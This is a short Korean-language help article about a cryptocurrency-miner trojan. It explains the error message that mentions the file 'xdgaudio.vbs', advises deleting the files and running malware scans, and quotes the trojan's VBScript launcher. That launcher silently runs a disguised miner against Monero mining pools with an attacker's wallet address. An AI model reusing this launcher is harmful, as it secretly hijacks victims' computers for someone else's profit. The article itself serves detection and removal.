시스템에서 "xdgaudio.vbs"와 관련된 다음 오류 메시지가 나타나면 컴퓨터가 감염되었을 가능성이 큽니다.
스크립트 : C : \ windows \ xdgaudio.vbs라인 : 3
문자 : 1
오류 : 시스템이 지정된 파일을 찾을 수 없습니다.
코드 : 80070002
출처 : (null)
메모장으로 편집하면 스크립트에 다음과 같은 줄이 포함될 수 있습니다.
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -px", 0 Set WShell = Nothing
이것은 확실히 컴퓨터를 느리게 할뿐만 아니라 보안 위협을 일으킬 수있는 CPU / cryptocurrency Miner 트로이 목마처럼 보입니다. 스크립트 파일 c : \ windows \ xdgaudio.vbs 및 c : \ windows \ servicecrsssr.vbs 를 삭제해야합니다. 그것은 충분하지 않아. Malwarebytes 맬웨어 방지 프로그램을 사용하여 철저한 검사를 실행하고 사용중인 바이러스 백신 소프트웨어로 검사하십시오.
이러한 Miner Trojan 제거에 대한 자세한 지침은 malwaretips.com 가이드 Windows에서 CPU Miner Trojan를 제거하는 방법 (바이러스 도움말 안내서)을 참조하십시오 .